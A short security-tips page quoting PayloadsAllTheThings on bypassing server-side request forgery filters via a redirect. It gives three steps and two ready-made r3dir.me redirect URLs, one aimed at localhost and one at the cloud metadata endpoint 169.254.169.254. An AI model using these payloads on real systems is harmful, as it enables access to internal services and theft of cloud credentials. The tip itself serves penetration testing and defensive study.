Server Side Request Forgery: Bypassing Using a Redirect

Server-side request forgery (SSRF)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

  1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)

  2. Launch the SSRF pointing to vulnerable.com/index.php?url=http://redirect-server

  3. You can use response codes HTTP 307 and HTTP 308 in order to retain HTTP method and body after the redirection.

To perform redirects without hosting own redirect server or perform seemless redirect target fuzzing, use Horlad/r3dir.

  • Redirects to http://localhost with 307 Temporary Redirect status code

    powershell
    https://307.r3dir.me/--to/?url=http://localhost
  • Redirects to http://169.254.169.254/latest/meta-data/ with 302 Found status code

    powershell
    https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me

Comments

No comments yet.